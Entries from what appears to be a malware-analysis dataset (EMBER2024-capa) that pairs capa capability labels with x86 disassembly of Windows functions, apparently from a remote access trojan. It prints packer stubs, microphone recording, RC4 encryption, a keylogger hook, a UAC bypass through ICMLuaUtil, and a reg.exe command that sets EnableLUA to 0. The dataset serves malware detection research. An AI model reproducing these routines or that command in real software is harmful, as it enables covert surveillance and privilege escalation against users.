joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4026b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push edi
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
mov ecx, dword [str.073110116101114110101116082101097100070105108101]
push ecx
call fcn.00401280
add esp, 8
lea edx, [ebp - 0x104]
push edx
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x409e10], eax
call fcn.0040198f
test eax, eax
jne 0x402726
call fcn.00401de3
call fcn.00402620
call fcn.004015fa
xor eax, eax
jmp 0x40280d
mov eax, dword [ebp + 0x10]
push eax
call fcn.00402920
add esp, 4
test eax, eax
je 0x40274b
push str.start
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.00402c20
add esp, 8
test eax, eax
jne 0x4027ae
push 0x44
push 0
lea edx, [ebp - 0x25c]
push edx
call fcn.00402ca0
add esp, 0xc
mov dword [ebp - 0x230], 1
mov word [ebp - 0x22c], 5
push str.__start
push 0x409d0c
call fcn.00402b10
add esp, 8
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x25c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x409d0c
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
jmp 0x40280d
call fcn.0040268b
mov byte [ebp - 0x208], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [ebp - 0x208]
push edx
push 0x409d0c
call fcn.004019b3
add esp, 8
lea eax, [ebp - 0x208]
push eax
call fcn.00402920
add esp, 4
cmp eax, 0x26
jne 0x402803
lea ecx, [ebp - 0x208]
push ecx
call fcn.00401bb1
add esp, 4
call fcn.00402620
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x599e000f
nop
nop
nop
nop
nop
test eax, eax
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x727431a1
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x40170f
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
lea eax, [esp + 0x14]
mov esi, ecx
push eax
mov ecx, 0x474da8
mov edi, edx
call fcn.00401fc0
mov edx, dword [esp + 0x10]
xor eax, eax
inc eax
movzx ebx, di
mov word [0x472aac], ax
shr ebx, 3
movzx eax, si
imul eax, ebx
movd xmm0, edx
cvtdq2pd xmm0, xmm0
mov dword [0x472ab0], edx
mov word [0x472aba], di
shr di, 3
movzx ecx, di
push 0x30008
imul eax, edx
shr edx, 0x1f
mov word [0x472aae], si
addsd xmm0, qword [edx*8 + 0x46d2b0]
mov dword [0x472ab4], eax
movzx eax, si
xor esi, esi
imul ecx, eax
xor eax, eax
mov word [0x472abc], ax
cvtpd2ps xmm0, xmm0
push esi
push 0x40186a
push 0x472aac
push 0xffffffffffffffff
push 0x472adc
mov word [0x472ab8], cx
mulss xmm0, dword [0x46d25c]
cvttss2si eax, xmm0
imul ebx, eax
mov dword [0x472aa8], eax
mov dword [0x472a80], ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
mov ecx, esi
call fcn.004017ec
inc esi
cmp esi, 2
jb 0x4017c7
push dword [0x472adc]
call dword [sym.imp.WINMM.dll_waveInStart]
pop edi
pop esi
lea ecx, [esp + 0xc]
pop ebx
jmp fcn.00401fd8

Function at 0x4017ec
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [0x472a80]
mov esi, ecx
mov ebp, 0x474d68
push esi
mov ecx, ebp
call fcn.00401e65
mov ecx, eax
call fcn.00401f9d
mov edi, dword [0x474da4]
mov ebx, esi
shl ebx, 5
mov ecx, ebp
push esi
add edi, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov dword [edi], eax
mov eax, dword [0x472a80]
mov dword [edi + 4], eax
xor eax, eax
push 0x20
push edi
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], eax
push dword [0x472adc]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov eax, dword [0x474da4]
push 0x20
add eax, ebx
push eax
push dword [0x472adc]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x401ce9
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
movzx esi, word [0x472ad6]
mov ebx, edx
push edi
movzx edi, word [0x472aca]
xor ebp, ebp
imul esi, edi
push ebp
push 0x80
push 2
push ebp
mov eax, esi
mov dword [esp + 0x2c], 1
imul eax, dword [0x472acc]
push ebp
push 0x40000000
push ecx
mov dword [esp + 0x34], 0x10
shr eax, 3
mov dword [esp + 0x3c], eax
mov eax, esi
cdq
and edx, 7
add eax, edx
sar eax, 3
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 4]
imul eax, edi
mov dword [esp + 0x44], eax
add eax, 0x24
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401d69
xor al, al
jmp 0x401e5d
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x10]
push ebp
push eax
push 4
pop ebp
push ebp
push str.RIFF
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x20]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.WAVE
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.fmt
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x24]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x28]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0x472aca
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push 0x472acc
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x2c]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x30]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0x472ad6
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.data
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x34]
push eax
push edi
call esi
push 0
lea ecx, [esp + 0x14]
push ecx
push dword [ebx + 4]
push dword [ebx]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x4048c8
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x472af0]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x404a1b
cmp byte [edi + 1], al
je 0x404a17
cmp byte [edi + 0x31], al
je 0x404926
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.0040531e
sub esp, 0x14
mov ecx, esp
push 0x465fb4
call fcn.00402093
call fcn.0041b580
add esp, 0x30
call fcn.00420cf1
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x404941
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x404a7b
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.00420f20
cmp eax, 1
je 0x404987
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465f18
call fcn.00402093
call fcn.0041b580
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.00420d31
and dword [edi + 0x4c], 0
jmp 0x404a97
mov ecx, dword [edi + 0x4c]
call fcn.00421ad1
cmp eax, 1
je 0x4049c4
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465f18
call fcn.00402093
call fcn.0041b580
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.00421143
jmp 0x404976
mov ecx, dword [edi + 0x4c]
call fcn.00420e97
mov dword [edi + 0x50], eax
test eax, eax
jne 0x4049f9
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465f18
call fcn.00402093
call fcn.0041b580
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x404a99
cmp byte [edi + 0x31], 0
je 0x404a97
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2736
je 0x404a97
sub ecx, 0x17
je 0x404a71
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.0041cb72
sub esp, 0x18
mov edx, str.Connection_Failed:
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465f18
call fcn.00402093
call fcn.0041b580
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.00401fd8
jmp 0x404a97
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465f18
call fcn.00402093
call fcn.0041b580
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404cc3
Capabilities:
Create thread

Disassembly:
sub esp, 0x38
and dword [esp + 4], 0
push ebx
push ebp
push esi
mov esi, ecx
lea ecx, [esp + 0x14]
push edi
and dword [esi + 0x54], 0
call fcn.004020df
mov bh, byte [esp + 0x54]
lea eax, [esi + 0x58]
mov edi, dword [esp + 0x4c]
push eax
lea eax, [esp + 0x18]
mov ecx, edi
push eax
call fcn.00401fab
push eax
mov ecx, esi
call fcn.00404efb
test al, al
je 0x404e13
movzx ecx, byte [esi + 0x30]
mov ebp, dword [esp + 0x14]
mov dword [esp + 0x54], ecx
add ebp, ecx
mov ecx, edi
call fcn.0040247c
cmp ebp, eax
jbe 0x404d31
mov ecx, edi
mov bl, 1
call fcn.0040247c
mov ecx, ebp
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x404d33
xor bl, bl
test bl, bl
jne 0x404e13
push 0xffffffffffffffff
push dword [esp + 0x58]
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.004041a2
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
push dword [esp + 0x14]
lea eax, [esp + 0x34]
push 0
push eax
lea ecx, [esp + 0x24]
call fcn.004041a2
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
lea eax, [esp + 0x18]
test bh, bh
jne 0x404da4
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020f6
push esi
call dword [esp + 0x6c]
add esp, 0x1c
jmp 0x404de1
push eax
lea ecx, [esi + 0xc]
call fcn.00401fc0
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [esp + 0x5c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.004041a2
push eax
mov ecx, edi
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
mov ecx, edi
call fcn.0040247c
test eax, eax
lea eax, [esi + 0x58]
jne 0x404ce9
lea ecx, [esp + 0x18]
call fcn.00401fd8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 0xc

Function at 0x404f51
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x404fea
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x404f74
mov byte [esi + 0x7c], 1
jmp 0x404fc0
cmp byte [0x472b4a], 0
je 0x404fc0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.0041bc1f
sub esp, 0x18
mov edx, str.KeepAlive______________Enabled__Timeout:
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465fb4
call fcn.00402093
call fcn.0041b580
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00401fd8
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x405150
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x404fec
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x406d08
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x46d2a0]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x406d12
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x406d58
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x406d37
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x406d77
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call fcn.00436990
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0x406e07
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x406dbd
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x406dd3
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x406dfa
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x406dac
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8

Function at 0x40729b
Capabilities:
Terminate process

Disassembly:
xor eax, eax
inc eax
cmp dword [0x4719d0], eax
jne 0x4076c5
ret
cmp dword [0x4719d0], 1
jne 0x4076d2
xor eax, eax
inc eax
ret
push esi
push dword [0x472d58]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0x4752e8
mov edx, 0x466478
mov ecx, esi
call fcn.004077f2
test al, al
je 0x4076ff
mov ecx, esi
call fcn.00401f04
mov ecx, eax
jmp 0x407704
mov ecx, 0x472b50
call fcn.004076a8
pop esi
test eax, eax
jne 0x407715
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x475330
call fcn.00401fab
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 2
mov dword [0x472d58], eax
pop eax
ret
Function at 0x4072ab
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, str.ntdll.dll
push edi
push str.RtlInitUnicodeString
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [0x472b10], eax
test eax, eax
jne 0x4072d7
xor eax, eax
jmp 0x407340
push str.NtAllocateVirtualMemory
push ebx
call esi
push eax
call edi
mov dword [0x472b14], eax
test eax, eax
je 0x4072d3
push str.NtFreeVirtualMemory
push ebx
call esi
push eax
call edi
mov dword [0x472b20], eax
test eax, eax
je 0x4072d3
push str.RtlAcquirePebLock
push ebx
call esi
push eax
call edi
mov dword [0x472b18], eax
test eax, eax
je 0x4072d3
push str.RtlReleasePebLock
push ebx
call esi
push eax
call edi
mov dword [0x472b24], eax
test eax, eax
je 0x4072d3
push str.LdrEnumerateLoadedModules
push ebx
call esi
push eax
call edi
xor ecx, ecx
mov dword [0x472b0c], eax
test eax, eax
setne cl
mov eax, ecx
pop edi
pop esi
pop ebx
ret

Function at 0x407538
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push edi
push str.___ucmAllocateElevatedObject_n
call fcn.0040723b
and dword [ebp - 4], 0
mov edi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
push edi
mov esi, 0x80004005
call fcn.0043bb56
pop ecx
pop ecx
cmp eax, 0x40
ja 0x4075db
lea ecx, [ebp - 0x28]
call fcn.004071cb
lea eax, [ebp - 0x230]
mov dword [ebp - 0x28], 0x24
push str.Elevation:Administrator_new:
push eax
mov dword [ebp - 0x14], 4
call fcn.0043f859
lea eax, [ebp - 0x230]
push edi
push eax
call fcn.0043f87b
push str.___CoGetObject_n
call fcn.0040723b
add esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x466528
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov esi, eax
test esi, esi
je 0x4075d0
push str.____CoGetObject_FAILURE_n
jmp 0x4075d5
push str.___CoGetObject_SUCCESS_n
call fcn.0040723b
pop ecx
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
pop edi
mov dword [ecx], eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x407790
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push 0x44
pop esi
push esi
xor edi, edi
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.00436f10
push 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 0x58], esi
push edi
push eax
call fcn.00436f10
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push 0x8000000
push edi
push edi
push edi
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407877
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x2a0
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x2a4]
push ebx
push ebp
push esi
push eax
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4078c1
sub esp, 0x18
lea edx, [esp + 0x2c8]
mov ecx, esp
call fcn.0041bdaf
push 0x54
mov ecx, 0x475068
call fcn.00404aa1
jmp 0x407988
lea ecx, [esp + 0x10]
call fcn.004020df
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x2c]
call fcn.0040417e
mov edx, 0x466538
mov ecx, eax
call fcn.004077f2
lea ecx, [esp + 0x28]
mov bl, al
call fcn.00401f09
mov ebp, 0x250
test bl, bl
je 0x407954
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x30]
call fcn.004020b7
push eax
lea ecx, [esp + 0x14]
call fcn.00401fe2
lea ecx, [esp + 0x28]
jmp 0x40794f
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x48]
call fcn.004020b7
push eax
lea edx, [esp + 0x14]
lea ecx, [esp + 0x2c]
call fcn.00406362
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00401fe2
lea ecx, [esp + 0x28]
call fcn.00401fd8
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea eax, [esp + 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40791a
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push eax
call fcn.004020f6
push 0x50
mov ecx, 0x475068
call fcn.00404aa1
lea ecx, [esp + 0x10]
call fcn.00401fd8
lea ecx, [esp + 0x2b0]
call fcn.00401f09
pop esi
pop ebp
pop ebx
add esp, 0x2a0
ret
Function at 0x409ede
Capabilities:
Get keyboard layout

Disassembly:
sub esp, 0x194
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x1a8]
add ecx, 0x98
push eax
call fcn.00401fc0
xor eax, eax
mov byte [esp + 0x14], al
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov ebp, 0x4751b8
mov ecx, ebp
call fcn.0040482d
push ecx
mov ecx, ebp
call fcn.004048c8
push dword [0x475150]
lea ecx, [esp + 0x24]
call fcn.0040417e
push 0x12
mov ecx, 0x4750f4
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov edx, dword [0x47514c]
lea ecx, [esp + 0x188]
mov esi, eax
call fcn.0041bc1f
sub esp, 0x18
lea edx, [esp + 0x38]
mov edi, esp
lea ecx, [esp + 0x188]
mov ebx, 0x474ef0
push eax
push ebx
call fcn.0041bdaf
push eax
push ebx
lea eax, [esp + 0x1d0]
mov ecx, 0x475168
push eax
push ebx
call fcn.00401f04
mov ecx, eax
call fcn.0041c5a6
mov edx, eax
lea ecx, [esp + 0x188]
call fcn.0041bc1f
mov edx, dword [0x4751b0]
lea ecx, [esp + 0x170]
push eax
push ebx
call fcn.0041bc1f
push eax
movzx eax, byte [esi]
lea edx, [esp + 0x50]
push ebx
push eax
push ebx
lea ecx, [esp + 0x170]
call fcn.0040531e
pop ecx
mov edx, eax
lea ecx, [esp + 0x154]
call fcn.004091d8
pop ecx
mov edx, eax
lea ecx, [esp + 0x138]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0x11c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x100]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0xe4]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0xc8]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0xac]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0x90]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.00402f10
pop ecx
mov edx, eax
mov ecx, edi
call fcn.00402ea1
pop ecx
push 0x12
mov ecx, ebp
call fcn.00404aa1
lea ecx, [esp + 0x38]
mov esi, eax
call fcn.00401fd8
lea ecx, [esp + 0x50]
call fcn.00401fd8
lea ecx, [esp + 0x68]
call fcn.00401fd8
lea ecx, [esp + 0x80]
call fcn.00401fd8
lea ecx, [esp + 0x98]
call fcn.00401fd8
lea ecx, [esp + 0xb0]
call fcn.00401fd8
lea ecx, [esp + 0xc8]
call fcn.00401fd8
lea ecx, [esp + 0xe0]
call fcn.00401fd8
lea ecx, [esp + 0xf8]
call fcn.00401fd8
lea ecx, [esp + 0x110]
call fcn.00401fd8
lea ecx, [esp + 0x128]
call fcn.00401fd8
lea ecx, [esp + 0x140]
call fcn.00401fd8
lea ecx, [esp + 0x158]
call fcn.00401fd8
lea ecx, [esp + 0x170]
call fcn.00401fd8
lea ecx, [esp + 0x188]
call fcn.00401fd8
lea ecx, [esp + 0x20]
call fcn.00401f09
lea ecx, [esp + 0x1a8]
call fcn.00401fd8
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x194
ret 0x18
Function at 0x40a1b4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x68]
mov byte [esi + 0x49], 1
call fcn.0040b927
cmp dword [esi + 0x4c], 2
mov edi, str.Offline_Keylogger_Started
je 0x40a205
push edi
lea ecx, [esp + 0x14]
call fcn.00402093
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.0041bcef
mov ecx, esi
call fcn.0040b19f
lea ecx, [esp + 0x10]
call fcn.00401fd8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465fb4
call fcn.00402093
call fcn.0041b580
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x40a2b8
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x40a24b
push ebx
push ebx
push esi
push 0x40a2a2
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a2c4
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x40a268
Capabilities:
Create thread

Disassembly:
lea eax, [esp + 4]
mov ecx, 0x475168
push eax
call fcn.0040b927
cmp byte [0x475149], 0
jne 0x40a296
xor eax, eax
push eax
push eax
push 0x475100
push 0x40a2ae
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 4]
call fcn.00401f09
ret 0x18

Function at 0x40a2f3
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0x472b34], esi
cmp dword [esi], edi
jne 0x40a36e
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0x40a2df
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x40a36e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.0041bc1f
sub esp, 0x18
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465f18
call fcn.00402093
call fcn.0041b580
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00401fd8
xor eax, eax
inc eax
jmp 0x40a39c
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40a39a
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x40a36e
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret